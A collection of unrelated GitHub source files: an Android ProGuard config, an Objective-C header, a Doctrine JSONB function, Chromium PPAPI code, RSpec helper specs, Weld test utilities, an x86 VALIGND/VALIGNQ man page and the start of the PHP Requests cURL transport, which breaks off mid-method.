-keep public class * extends android.app.Application
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
-keep public class * extends android.app.backup.BackupAgent
-keep public class * extends android.preference.Preference
-keep public class * extends android.support.v4.app.Fragment
-keep public class * extends android.support.v4.app.DialogFragment
-keep public class * extends com.actionbarsherlock.app.SherlockListFragment
-keep public class * extends com.actionbarsherlock.app.SherlockFragment
-keep public class * extends com.actionbarsherlock.app.SherlockFragmentActivity
-keep public class * extends android.app.Fragment
-keep public class com.android.vending.licensing.ILicensingService
# Native方法不混淆
-keepclasseswithmembernames class * {
native <methods>;
}
# 自定义组件不混淆
-keep public class * extends android.view.View {
public <init>(android.content.Context);
public <init>(android.content.Context, android.util.AttributeSet);
public <init>(android.content.Context, android.util.AttributeSet, int);
public void set*(...);
}
# 自定义控件类和类的成员不混淆(所有指定的类和类成员是要存在)
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet);
}
# 同上
-keepclasseswithmembers class * {
public <init>(android.content.Context, android.util.AttributeSet, int);
}
# 自定义控件类不混淆
-keepclassmembers class * extends android.app.Activity {
public void *(android.view.View);
}
# 枚举类不被混淆
-keepclassmembers enum * {
public static **[] values();
public static ** valueOf(java.lang.String);
}
# android.os.Parcelable的子类不混淆
-keep class * implements android.os.Parcelable {
public static final android.os.Parcelable$Creator *;
}
# 资源类不混淆
-keepclassmembers class **.R$* {
public static <fields>;
}
##################### 第三方库不混淆 #####################
# 保留第三方库android.support.v4不被混淆
-keep class android.support.v4.app.** { *; }
-keep interface android.support.v4.app.** { *; }
# 打包时忽略警告
-dontwarn android.support.**
# 如果你的项目中使用了第三方库,需要参考官方文档的说明来进行混淆配置
# 例如: 百度地图的配置 参考:http://developer.baidu.com/map/sdkandev-question.htm
#-keep class com.baidu.** { *; }
#-keep class vi.com.gdi.bgl.android.**{*;}
# 例如: 支付宝的混淆 参考: https://doc.open.alipay.com/doc2/detail.htm?treeId=59&articleId=103683&docType=1
#-libraryjars libs/alipaySDK-20150602.jar
#
#-keep class com.alipay.android.app.IAlixPay{*;}
#-keep class com.alipay.android.app.IAlixPay$Stub{*;}
#-keep class com.alipay.android.app.IRemoteServiceCallback{*;}
#-keep class com.alipay.android.app.IRemoteServiceCallback$Stub{*;}
#-keep class com.alipay.sdk.app.PayTask{ public *;}
#-keep class com.alipay.sdk.app.AuthTask{ public *;}
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <objc/NSObject.h>
__attribute__((visibility("hidden")))
@interface NSFileCoordinatorAccessorBlockCompletion : NSObject
{
CDUnknownBlockType block;
// Error parsing type: Ai, name: count
}
+ (id)completionWithBlock:(CDUnknownBlockType)arg1;
- (void)decrement;
- (void)increment;
- (void)dealloc;
@end
| {
"pile_set_name": "Github"
} |
<?php
declare(strict_types=1);
namespace MartinGeorgiev\Doctrine\ORM\Query\AST\Functions;
/**
* Implementation of PostgreSql JSONB_EXISTS().
*
* @see https://www.postgresql.org/docs/9.4/static/functions-json.html
* @since 0.1
*
* @author Martin Georgiev <[email protected]>
*/
class JsonbExists extends BaseFunction
{
protected function customiseFunction(): void
{
$this->setFunctionPrototype('jsonb_exists(%s, %s)');
$this->addNodeMapping('StringPrimary');
$this->addNodeMapping('StringPrimary');
}
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ppapi/cpp/private/video_source_private.h"
#include "ppapi/c/pp_errors.h"
#include "ppapi/c/private/ppb_video_source_private.h"
#include "ppapi/cpp/instance_handle.h"
#include "ppapi/cpp/module.h"
#include "ppapi/cpp/module_impl.h"
#include "ppapi/cpp/private/video_frame_private.h"
#include "ppapi/cpp/var.h"
namespace pp {
namespace {
template <> const char* interface_name<PPB_VideoSource_Private_0_1>() {
return PPB_VIDEOSOURCE_PRIVATE_INTERFACE_0_1;
}
} // namespace
VideoSource_Private::VideoSource_Private() {
}
VideoSource_Private::VideoSource_Private(const InstanceHandle& instance) {
if (!has_interface<PPB_VideoSource_Private_0_1>())
return;
PassRefFromConstructor(get_interface<PPB_VideoSource_Private_0_1>()->Create(
instance.pp_instance()));
}
VideoSource_Private::VideoSource_Private(const VideoSource_Private& other)
: Resource(other) {
}
VideoSource_Private::VideoSource_Private(PassRef, PP_Resource resource)
: Resource(PASS_REF, resource) {
}
int32_t VideoSource_Private::Open(const Var& stream_url,
const CompletionCallback& cc) {
if (has_interface<PPB_VideoSource_Private_0_1>()) {
int32_t result =
get_interface<PPB_VideoSource_Private_0_1>()->Open(
pp_resource(),
stream_url.pp_var(), cc.pp_completion_callback());
return result;
}
return cc.MayForce(PP_ERROR_NOINTERFACE);
}
int32_t VideoSource_Private::GetFrame(
const CompletionCallbackWithOutput<VideoFrame_Private>& cc) {
if (has_interface<PPB_VideoSource_Private_0_1>()) {
return get_interface<PPB_VideoSource_Private_0_1>()->GetFrame(
pp_resource(),
cc.output(), cc.pp_completion_callback());
}
return cc.MayForce(PP_ERROR_NOINTERFACE);
}
void VideoSource_Private::Close() {
if (has_interface<PPB_VideoSource_Private_0_1>()) {
get_interface<PPB_VideoSource_Private_0_1>()->Close(pp_resource());
}
}
} // namespace pp
| {
"pile_set_name": "Github"
} |
require 'spec_helper'
Spec::Runner.configuration.global_fixtures = :people
describe ExplicitHelper, :type => :helper do
include ExplicitHelper
it "should not require naming the helper if describe is passed a type" do
method_in_explicit_helper.should match(/text from a method/)
helper.method_in_explicit_helper.should match(/text from a method/)
end
end
module Spec
module Rails
module Example
describe HelperExampleGroup, :type => :helper do
helper_name :explicit
accesses_configured_helper_methods
it "DEPRECATED should have direct access to methods defined in helpers" do
method_in_explicit_helper.should =~ /text from a method/
end
it "should expose the helper with the #helper method" do
helper.method_in_explicit_helper.should =~ /text from a method/
end
it "should have access to named routes" do
rspec_on_rails_specs_url.should == "http://test.host/rspec_on_rails_specs"
rspec_on_rails_specs_path.should == "/rspec_on_rails_specs"
helper.named_url.should == "http://test.host/rspec_on_rails_specs"
helper.named_path.should == "/rspec_on_rails_specs"
end
it "should fail if the helper method deson't exist" do
lambda { non_existent_helper_method }.should raise_error(NameError)
lambda { helper.non_existent_helper_method }.should raise_error(NameError)
end
it "should have access to session" do
session[:foo] = 'bar'
session_foo.should == 'bar'
helper.session_foo.should == 'bar'
end
it "should have access to params" do
params[:foo] = 'bar'
params_foo.should == 'bar'
helper.params_foo.should == 'bar'
end
it "should have access to request" do
request.stub!(:thing).and_return('bar')
request_thing.should == 'bar'
helper.request_thing.should == 'bar'
end
it "should have access to flash" do
flash[:thing] = 'camera'
flash_thing.should == 'camera'
helper.flash_thing.should == 'camera'
end
end
describe HelperExampleGroup, "#eval_erb", :type => :helper do
helper_name :explicit
it "should support methods that accept blocks" do
eval_erb("<% prepend 'foo' do %>bar<% end %>").should == "foobar"
end
end
describe HelperExampleGroup, ".fixtures", :type => :helper do
helper_name :explicit
fixtures :animals
it "should load fixtures" do
pig = animals(:pig)
pig.class.should == Animal
end
it "should load global fixtures" do
lachie = people(:lachie)
lachie.class.should == Person
end
end
describe "methods from standard helpers", :type => :helper do
helper_name :explicit
it "should be exposed to the helper" do
helper.link_to("Foo","http://bar").should have_tag("a")
end
end
describe HelperExampleGroup, "included modules", :type => :helper do
helpers = [
ActionView::Helpers::ActiveRecordHelper,
ActionView::Helpers::AssetTagHelper,
ActionView::Helpers::BenchmarkHelper,
ActionView::Helpers::CacheHelper,
ActionView::Helpers::CaptureHelper,
ActionView::Helpers::DateHelper,
ActionView::Helpers::DebugHelper,
ActionView::Helpers::FormHelper,
ActionView::Helpers::FormOptionsHelper,
ActionView::Helpers::FormTagHelper,
ActionView::Helpers::JavaScriptHelper,
ActionView::Helpers::NumberHelper,
ActionView::Helpers::PrototypeHelper,
ActionView::Helpers::ScriptaculousHelper,
ActionView::Helpers::TagHelper,
ActionView::Helpers::TextHelper,
ActionView::Helpers::UrlHelper
]
helpers.each do |helper_module|
it "should include #{helper_module}" do
self.class.ancestors.should include(helper_module)
helper.class.ancestors.should include(helper_module)
end
end
end
# TODO: BT - Helper Examples should proxy method_missing to a Rails View instance.
# When that is done, remove this method
describe HelperExampleGroup, "#protect_against_forgery?", :type => :helper do
it "should return false" do
protect_against_forgery?.should be_false
helper.protect_against_forgery?.should be_false
end
end
describe HelperExampleGroup, "#assigns", :type => :helper do
helper_name :addition
it "should expose variables to helper" do
assigns[:addend] = 3
helper.plus(4).should == 7
end
it "should make helper ivars available in example" do
assigns[:addend] = 3
assigns[:addend].should == 3
end
end
describe HelperExampleGroup, "using a helper that uses output_buffer inside helper", :type => :helper do
helper_name :explicit
before(:each) do
if ::Rails::VERSION::STRING < "2.2"
pending("need to get this new feature working against pre 2.2 versions of rails")
end
end
it "should not raise an error" do
lambda { method_using_output_buffer }.should_not raise_error
end
it "should put the output in the output_buffer" do
method_using_output_buffer
output_buffer.should == "the_text_from_concat"
end
end
describe HelperExampleGroup, "using a helper that tries to access @template", :type => :helper do
helper_name :explicit
it "should not raise an error" do
lambda { method_using_template }.should_not raise_error
end
it "should have the correct output" do
method_using_template.should have_text(/#some_id/)
end
end
# both specs the same as textmate invokes first-then-second but rake spec:plugins:rspec_on_rails invokes second-then-first
describe HelperExampleGroup, "new helper for each spec - instance variables side effects are isolated", :type=> :helper do
it 'should be able to set an instance variable on the helper on a new instance of the helper' do
helper.instance_variable_get(:@test_instance_var).should be_nil
helper.instance_variable_set(:@test_instance_var, :first_value)
helper.instance_variable_get(:@test_instance_var).should == :first_value
end
it 'should get a clean copy of the helper with no saved instance variables from the last run' do
helper.instance_variable_get(:@test_instance_var).should be_nil
helper.instance_variable_set(:@test_instance_var, :second_value)
helper.instance_variable_get(:@test_instance_var).should == :second_value
end
end
end
end
end
module Bug11223
# see http://rubyforge.org/tracker/index.php?func=detail&aid=11223&group_id=797&atid=3149
describe 'Accessing flash from helper spec', :type => :helper do
it 'should not raise an error' do
lambda { flash['test'] }.should_not raise_error
end
end
end
module Spec
module Rails
module Example
describe HelperExampleGroup do
it "should clear its name from the description" do
group = describe("foo", :type => :helper) do
$nested_group = describe("bar") do
end
end
group.description.to_s.should == "foo"
$nested_group.description.to_s.should == "foo bar"
end
end
end
end
end
module Bug719
# see http://rspec.lighthouseapp.com/projects/5645/tickets/719
# FIXME - helper and example provided in ticket. The example did
# fail initially, so running it now shows that the bug is fixed,
# but this doesn't serve as a good internal example.
module ImagesHelper
def hide_images_button
content_tag :div, :class => :hide_images_button do
button_to_function "Hide Images", :id => :hide_images_button do |page|
page[:more_images_button].toggle
page[:image_browser].toggle
end
end
end
end
describe ImagesHelper, :type => :helper do
it "should render a hide_images_button" do
helper.hide_images_button.should have_tag('div[class=?]','hide_images_button') do
with_tag('input[id=?][type=?][value=?][onclick^=?]',
'hide_images_button', 'button', 'Hide Images',
"$("more_images_button").toggle();\n$("image_browser").toggle();;")
end
end
end
end
| {
"pile_set_name": "Github"
} |
/*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc., and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jboss.weld.test.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.lang.annotation.Annotation;
import java.lang.reflect.Type;
import java.net.URL;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import jakarta.el.ELContext;
import jakarta.enterprise.context.ContextNotActiveException;
import jakarta.enterprise.context.spi.Context;
import jakarta.enterprise.inject.spi.Bean;
import jakarta.enterprise.inject.spi.BeanManager;
import jakarta.enterprise.util.TypeLiteral;
import org.jboss.weld.bean.proxy.ProxyObject;
import org.jboss.weld.logging.BeanManagerLogger;
import org.jboss.weld.manager.BeanManagerImpl;
import org.jboss.weld.manager.api.WeldManager;
import org.jboss.weld.test.util.el.EL;
import org.jboss.weld.util.collections.EnumerationList;
import org.jboss.weld.util.reflection.Reflections;
public class Utils {
public static final int MASK = 0xff;
private Utils() {
}
/**
* Checks if all annotations are in a given set of annotations
*
* @param annotations The annotation set
* @param annotationTypes The annotations to match
* @return True if match, false otherwise
*/
@SafeVarargs
public static boolean annotationSetMatches(Set<? extends Annotation> annotations, Class<? extends Annotation>... annotationTypes) {
List<Class<? extends Annotation>> annotationTypeList = new ArrayList<Class<? extends Annotation>>();
annotationTypeList.addAll(Arrays.asList(annotationTypes));
for (Annotation annotation : annotations) {
if (annotationTypeList.contains(annotation.annotationType())) {
annotationTypeList.remove(annotation.annotationType());
} else {
return false;
}
}
return annotationTypeList.size() == 0;
}
public static boolean typeSetMatches(Set<Type> types, Type... requiredTypes) {
List<Type> typeList = Arrays.asList(requiredTypes);
return requiredTypes.length == types.size() && types.containsAll(typeList);
}
public static Iterable<URL> getResources(Class<?> clazz, String name) {
if (name.startsWith("/")) {
name = name.substring(1);
} else {
name = clazz.getPackage().getName().replace(".", "/") + "/" + name;
}
try {
return new EnumerationList<>(clazz.getClassLoader().getResources(name));
} catch (IOException e) {
throw new RuntimeException("Error loading resource from classloader" + name, e);
}
}
public static byte[] serialize(Object instance) throws IOException {
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bytes);
out.writeObject(instance);
return bytes.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
try (TCCLObjectInputStream in = new TCCLObjectInputStream(new ByteArrayInputStream(bytes))) {
return Reflections.<T>cast(in.readObject());
}
}
public static <T> T deserialize(byte[] bytes, ClassLoader cl) throws IOException, ClassNotFoundException {
try (TCCLObjectInputStream in = new TCCLObjectInputStream(new ByteArrayInputStream(bytes), cl)) {
return Reflections.<T>cast(in.readObject());
}
}
public static boolean isExceptionInHierarchy(Throwable exception, Class<? extends Throwable> expectedException) {
while (exception != null) {
if (exception.getClass().equals(expectedException)) {
return true;
}
exception = exception.getCause();
}
return false;
}
public static <T> Bean<T> getBean(BeanManager beanManager, Type beanType, Annotation... bindings) {
Set<Bean<?>> beans = beanManager.getBeans(beanType, bindings);
Bean<?> bean = beanManager.resolve(beans);
if (bean == null) {
throw BeanManagerLogger.LOG.unresolvableType(beanType, Arrays.toString(bindings));
}
@SuppressWarnings("unchecked")
Bean<T> typedBean = (Bean<T>) bean;
return typedBean;
}
@SuppressWarnings("unchecked")
public static <T> Set<Bean<T>> getBeans(BeanManager beanManager, Class<T> type, Annotation... bindings) {
return (Set) beanManager.getBeans(type, bindings);
}
@SuppressWarnings("unchecked")
public static <T> Set<Bean<T>> getBeans(BeanManager beanManager, TypeLiteral<T> type, Annotation... bindings) {
return (Set) beanManager.getBeans(type.getType(), bindings);
}
@SuppressWarnings("unchecked")
public static <T> T getReference(BeanManager beanManager, Class<T> beanType, Annotation... bindings) {
Bean<?> bean = getBean(beanManager, beanType, bindings);
return (T) beanManager.getReference(bean, beanType, beanManager.createCreationalContext(bean));
}
public static <T> T getReference(BeanManager beanManager, Bean<T> bean) {
return getReference(beanManager, bean, Object.class);
}
@SuppressWarnings("unchecked")
public static <T> T getReference(BeanManager beanManager, Bean<T> bean, Type beanType) {
return (T) beanManager.getReference(bean, beanType, beanManager.createCreationalContext(bean));
}
@SuppressWarnings("unchecked")
public static <T> T evaluateValueExpression(BeanManagerImpl beanManager, String expression, Class<T> expectedType) {
ELContext elContext = EL.createELContext(beanManager);
return (T) EL.EXPRESSION_FACTORY.createValueExpression(elContext, expression, expectedType).getValue(elContext);
}
public static boolean isProxy(Object proxy) {
return proxy instanceof ProxyObject;
}
public static <T extends Context> T getActiveContext(WeldManager beanManager, Class<T> type) {
for (T context : beanManager.instance().select(type)) {
if (context.isActive()) {
return context;
}
}
throw new ContextNotActiveException();
}
private static class TCCLObjectInputStream extends ObjectInputStream {
private final ClassLoader tccl;
private final ClassLoader optionalClassLoader;
public TCCLObjectInputStream(InputStream in) throws IOException {
this(in, null);
}
public TCCLObjectInputStream(InputStream in, ClassLoader cl) throws IOException {
super(in);
this.tccl = Thread.currentThread().getContextClassLoader();
this.optionalClassLoader = cl;
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
try {
String name = desc.getName();
return Class.forName(name, false, tccl);
} catch (ClassNotFoundException e) {
try {
return super.resolveClass(desc);
} catch (ClassNotFoundException e1) {
try {
return BeanManagerImpl.class.getClassLoader().loadClass(desc.getName());
} catch (ClassNotFoundException cnfe) {
if (optionalClassLoader != null) {
// should all else fail, try the optional CL, if supplied
return optionalClassLoader.loadClass(desc.getName());
} else {
// rethrow the exception, we cannot handle this
throw cnfe;
}
}
}
}
}
}
public static String getDeploymentNameAsHash(Class<?> testClass, ARCHIVE_TYPE archiveType) {
String hexString = getHashOfTestClass(testClass.getName());
switch (archiveType) {
case JAR:
return hexString.toString() + ".jar";
case WAR:
return hexString.toString() + ".war";
case EAR:
return hexString.toString() + ".ear";
default:
break;
}
return null;
}
public static String getDeploymentNameAsHash(Class<?> testClass) {
return getDeploymentNameAsHash(testClass, ARCHIVE_TYPE.JAR);
}
public static String getHashOfTestClass(String testClassName) {
MessageDigest messageDigest = null;
try {
messageDigest = MessageDigest.getInstance("SHA-1");
} catch (NoSuchAlgorithmException e) {
return null;
}
messageDigest.update(testClassName.getBytes());
byte[] digest = messageDigest.digest();
StringBuilder hexString = new StringBuilder();
for (int i = 0; i < digest.length; i++) {
hexString.append(Integer.toHexString(MASK & digest[i]));
}
return hexString.toString();
}
public enum ARCHIVE_TYPE {
JAR,
WAR,
EAR
}
}
| {
"pile_set_name": "Github"
} |
.nh
.TH "X86-VALIGND-VALIGNQ" "7" "May 2019" "TTMO" "Intel x86-64 ISA Manual"
.SH NAME
VALIGND-VALIGNQ - ALIGN DOUBLEWORD-QUADWORD VECTORS
.TS
allbox;
l l l l l
l l l l l .
\fB\fCOpcode/Instruction\fR \fB\fCOp/En\fR \fB\fC64/32 bit Mode Support\fR \fB\fCCPUID Feature Flag\fR \fB\fCDescription\fR
T{
EVEX.128.66.0F3A.W0 03 /r ib VALIGND xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8
T}
A V/V AVX512VL AVX512F T{
Shift right and merge vectors xmm2 and xmm3/m128/m32bcst with double\-word granularity using imm8 as number of elements to shift, and store the final result in xmm1, under writemask.
T}
T{
EVEX.128.66.0F3A.W1 03 /r ib VALIGNQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8
T}
A V/V AVX512VL AVX512F T{
Shift right and merge vectors xmm2 and xmm3/m128/m64bcst with quad\-word granularity using imm8 as number of elements to shift, and store the final result in xmm1, under writemask.
T}
T{
EVEX.256.66.0F3A.W0 03 /r ib VALIGND ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8
T}
A V/V AVX512VL AVX512F T{
Shift right and merge vectors ymm2 and ymm3/m256/m32bcst with double\-word granularity using imm8 as number of elements to shift, and store the final result in ymm1, under writemask.
T}
T{
EVEX.256.66.0F3A.W1 03 /r ib VALIGNQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8
T}
A V/V AVX512VL AVX512F T{
Shift right and merge vectors ymm2 and ymm3/m256/m64bcst with quad\-word granularity using imm8 as number of elements to shift, and store the final result in ymm1, under writemask.
T}
T{
EVEX.512.66.0F3A.W0 03 /r ib VALIGND zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8
T}
A V/V AVX512F T{
Shift right and merge vectors zmm2 and zmm3/m512/m32bcst with double\-word granularity using imm8 as number of elements to shift, and store the final result in zmm1, under writemask.
T}
T{
EVEX.512.66.0F3A.W1 03 /r ib VALIGNQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8
T}
A V/V AVX512F T{
Shift right and merge vectors zmm2 and zmm3/m512/m64bcst with quad\-word granularity using imm8 as number of elements to shift, and store the final result in zmm1, under writemask.
T}
.TE
.SH INSTRUCTION OPERAND ENCODING
.TS
allbox;
l l l l l l
l l l l l l .
Op/En Tuple Type Operand 1 Operand 2 Operand 3 Operand 4
A Full ModRM:reg (w) EVEX.vvvv ModRM:r/m (r) NA
.TE
.SS Description
.PP
Concatenates and shifts right doubleword/quadword elements of the first
source operand (the second operand) and the second source operand (the
third operand) into a 1024/512/256\-bit intermediate vector. The low
512/256/128\-bit of the intermediate vector is written to the destination
operand (the first operand) using the writemask k1. The destination and
first source operands are ZMM/YMM/XMM registers. The second source
operand can be a ZMM/YMM/XMM register, a 512/256/128\-bit memory location
or a 512/256/128\-bit vector broadcasted from a 32/64\-bit memory
location.
.PP
This instruction is writemasked, so only those elements with the
corresponding bit set in vector mask register k1 are computed and stored
into zmm1. Elements in zmm1 with the corresponding bit clear in k1
retain their previous values (merging\-masking) or are set to 0
(zeroing\-masking).
.SS Operation
.SS VALIGND (EVEX encoded versions)
.PP
.RS
.nf
(KL, VL) = (4, 128), (8, 256), (16, 512)
IF (SRC2 *is memory*) (AND EVEX.b = 1)
THEN
FOR j←0 TO KL\-1
i←j * 32
src[i+31:i] ← SRC2[31:0]
ENDFOR;
ELSE src←SRC2
FI
; Concatenate sources
tmp[VL\-1:0] ← src[VL\-1:0]
tmp[2VL\-1:VL] ← SRC1[VL\-1:0]
; Shift right doubleword elements
IF VL = 128
THEN SHIFT = imm8[1:0]
ELSE
IF VL = 256
THEN SHIFT = imm8[2:0]
ELSE SHIFT = imm8[3:0]
FI
FI;
tmp[2VL\-1:0]←tmp[2VL\-1:0] >> (32*SHIFT)
; Apply writemask
FOR j←0 TO KL\-1
i←j * 32
IF k1[j] OR *no writemask*
THEN DEST[i+31:i]←tmp[i+31:i]
ELSE
IF *merging\-masking*
; merging\-masking
THEN *DEST[i+31:i] remains unchanged*
ELSE
; zeroing\-masking
DEST[i+31:i] ← 0
FI
FI;
ENDFOR;
DEST[MAXVL\-1:VL] ← 0
.fi
.RE
.SS VALIGNQ (EVEX encoded versions)
.PP
.RS
.nf
(KL, VL) = (2, 128), (4, 256),(8, 512)
IF (SRC2 *is memory*) (AND EVEX.b = 1)
THEN
FOR j←0 TO KL\-1
i←j * 64
src[i+63:i] ← SRC2[63:0]
ENDFOR;
ELSE src←SRC2
FI
; Concatenate sources
tmp[VL\-1:0] ← src[VL\-1:0]
tmp[2VL\-1:VL] ← SRC1[VL\-1:0]
; Shift right quadword elements
IF VL = 128
THEN SHIFT = imm8[0]
ELSE
IF VL = 256
THEN SHIFT = imm8[1:0]
ELSE SHIFT = imm8[2:0]
FI
FI;
tmp[2VL\-1:0]←tmp[2VL\-1:0] >> (64*SHIFT)
; Apply writemask
FOR j←0 TO KL\-1
i←j * 64
IF k1[j] OR *no writemask*
THEN DEST[i+63:i]←tmp[i+63:i]
ELSE
IF *merging\-masking*
THEN *DEST[i+63:i] remains unchanged*
ELSE ; zeroing\-masking
DEST[i+63:i] ← 0
FI
FI;
ENDFOR;
DEST[MAXVL\-1:VL] ← 0
.fi
.RE
.SS Intel C/C++ Compiler Intrinsic Equivalent
.PP
.RS
.nf
VALIGND \_\_m512i \_mm512\_alignr\_epi32( \_\_m512i a, \_\_m512i b, int cnt);
VALIGND \_\_m512i \_mm512\_mask\_alignr\_epi32(\_\_m512i s, \_\_mmask16 k, \_\_m512i a, \_\_m512i b, int cnt);
VALIGND \_\_m512i \_mm512\_maskz\_alignr\_epi32( \_\_mmask16 k, \_\_m512i a, \_\_m512i b, int cnt);
VALIGND \_\_m256i \_mm256\_mask\_alignr\_epi32(\_\_m256i s, \_\_mmask8 k, \_\_m256i a, \_\_m256i b, int cnt);
VALIGND \_\_m256i \_mm256\_maskz\_alignr\_epi32( \_\_mmask8 k, \_\_m256i a, \_\_m256i b, int cnt);
VALIGND \_\_m128i \_mm\_mask\_alignr\_epi32(\_\_m128i s, \_\_mmask8 k, \_\_m128i a, \_\_m128i b, int cnt);
VALIGND \_\_m128i \_mm\_maskz\_alignr\_epi32( \_\_mmask8 k, \_\_m128i a, \_\_m128i b, int cnt);
VALIGNQ \_\_m512i \_mm512\_alignr\_epi64( \_\_m512i a, \_\_m512i b, int cnt);
VALIGNQ \_\_m512i \_mm512\_mask\_alignr\_epi64(\_\_m512i s, \_\_mmask8 k, \_\_m512i a, \_\_m512i b, int cnt);
VALIGNQ \_\_m512i \_mm512\_maskz\_alignr\_epi64( \_\_mmask8 k, \_\_m512i a, \_\_m512i b, int cnt);
VALIGNQ \_\_m256i \_mm256\_mask\_alignr\_epi64(\_\_m256i s, \_\_mmask8 k, \_\_m256i a, \_\_m256i b, int cnt);
VALIGNQ \_\_m256i \_mm256\_maskz\_alignr\_epi64( \_\_mmask8 k, \_\_m256i a, \_\_m256i b, int cnt);
VALIGNQ \_\_m128i \_mm\_mask\_alignr\_epi64(\_\_m128i s, \_\_mmask8 k, \_\_m128i a, \_\_m128i b, int cnt);
VALIGNQ \_\_m128i \_mm\_maskz\_alignr\_epi64( \_\_mmask8 k, \_\_m128i a, \_\_m128i b, int cnt);
.fi
.RE
.SS Exceptions
.PP
See Exceptions Type E4NF.
.SH SEE ALSO
.PP
x86\-manpages(7) for a list of other x86\-64 man pages.
.SH COLOPHON
.PP
This UNOFFICIAL, mechanically\-separated, non\-verified reference is
provided for convenience, but it may be incomplete or broken in
various obvious or non\-obvious ways. Refer to Intel® 64 and IA\-32
Architectures Software Developer’s Manual for anything serious.
.br
This page is generated by scripts; therefore may contain visual or semantical bugs. Please report them (or better, fix them) on https://github.com/ttmo-O/x86-manpages.
.br
MIT licensed by TTMO 2020 (Turkish Unofficial Chamber of Reverse Engineers - https://ttmo.re).
| {
"pile_set_name": "Github"
} |
<?php
/**
* cURL HTTP transport
*
* @package Requests
* @subpackage Transport
*/
/**
* cURL HTTP transport
*
* @package Requests
* @subpackage Transport
*/
class Requests_Transport_cURL implements Requests_Transport {
const CURL_7_10_5 = 0x070A05;
const CURL_7_16_2 = 0x071002;
/**
* Raw HTTP data
*
* @var string
*/
public $headers = '';
/**
* Raw body data
*
* @var string
*/
public $response_data = '';
/**
* Information on the current request
*
* @var array cURL information array, see {@see https://secure.php.net/curl_getinfo}
*/
public $info;
/**
* Version string
*
* @var long
*/
public $version;
/**
* cURL handle
*
* @var resource
*/
protected $handle;
/**
* Hook dispatcher instance
*
* @var Requests_Hooks
*/
protected $hooks;
/**
* Have we finished the headers yet?
*
* @var boolean
*/
protected $done_headers = false;
/**
* If streaming to a file, keep the file pointer
*
* @var resource
*/
protected $stream_handle;
/**
* How many bytes are in the response body?
*
* @var int
*/
protected $response_bytes;
/**
* What's the maximum number of bytes we should keep?
*
* @var int|bool Byte count, or false if no limit.
*/
protected $response_byte_limit;
/**
* Constructor
*/
public function __construct() {
$curl = curl_version();
$this->version = $curl['version_number'];
$this->handle = curl_init();
curl_setopt($this->handle, CURLOPT_HEADER, false);
curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
if ($this->version >= self::CURL_7_10_5) {
curl_setopt($this->handle, CURLOPT_ENCODING, '');
}
if (defined('CURLOPT_PROTOCOLS')) {
curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
if (defined('CURLOPT_REDIR_PROTOCOLS')) {
curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
}
}
/**
* Destructor
*/
public function __destruct() {
if (is_resource($this->handle)) {
curl_close($this->handle);
}
}
/**
* Perform a request
*
* @throws Requests_Exception On a cURL error (`curlerror`)
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see Requests::response()} for documentation
* @return string Raw HTTP result
*/
public function request($url, $headers = array(), $data = array(), $options = array()) {
$this->hooks = $options['hooks'];
$this->setup_handle($url, $headers, $data, $options);
$options['hooks']->dispatch('curl.before_send', array(&$this->handle));
if ($options['filename'] !== false) {
$this->stream_handle = fopen($options['filename'], 'wb');
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
if (isset($options['verify'])) {
if ($options['verify'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
}
elseif (is_string($options['verify'])) {
curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
}
}
if (isset($options['verifyname']) && $options['verifyname'] === false) {
curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
}
curl_exec($this->handle);
$response = $this->response_data;
$options['hooks']->dispatch('curl.after_send', array());
if (curl_errno($this->handle) === 23 || curl_errno($this->handle) === 61) {
// Reset encoding and try again
curl_setopt($this->handle, CURLOPT_ENCODING, 'none');
$this->response_data = '';
$this->response_bytes = 0;
curl_exec($this->handle);
$response = $this->response_data;
}
$this->process_response($response, $options);
// Need to remove the $this reference from the curl handle.
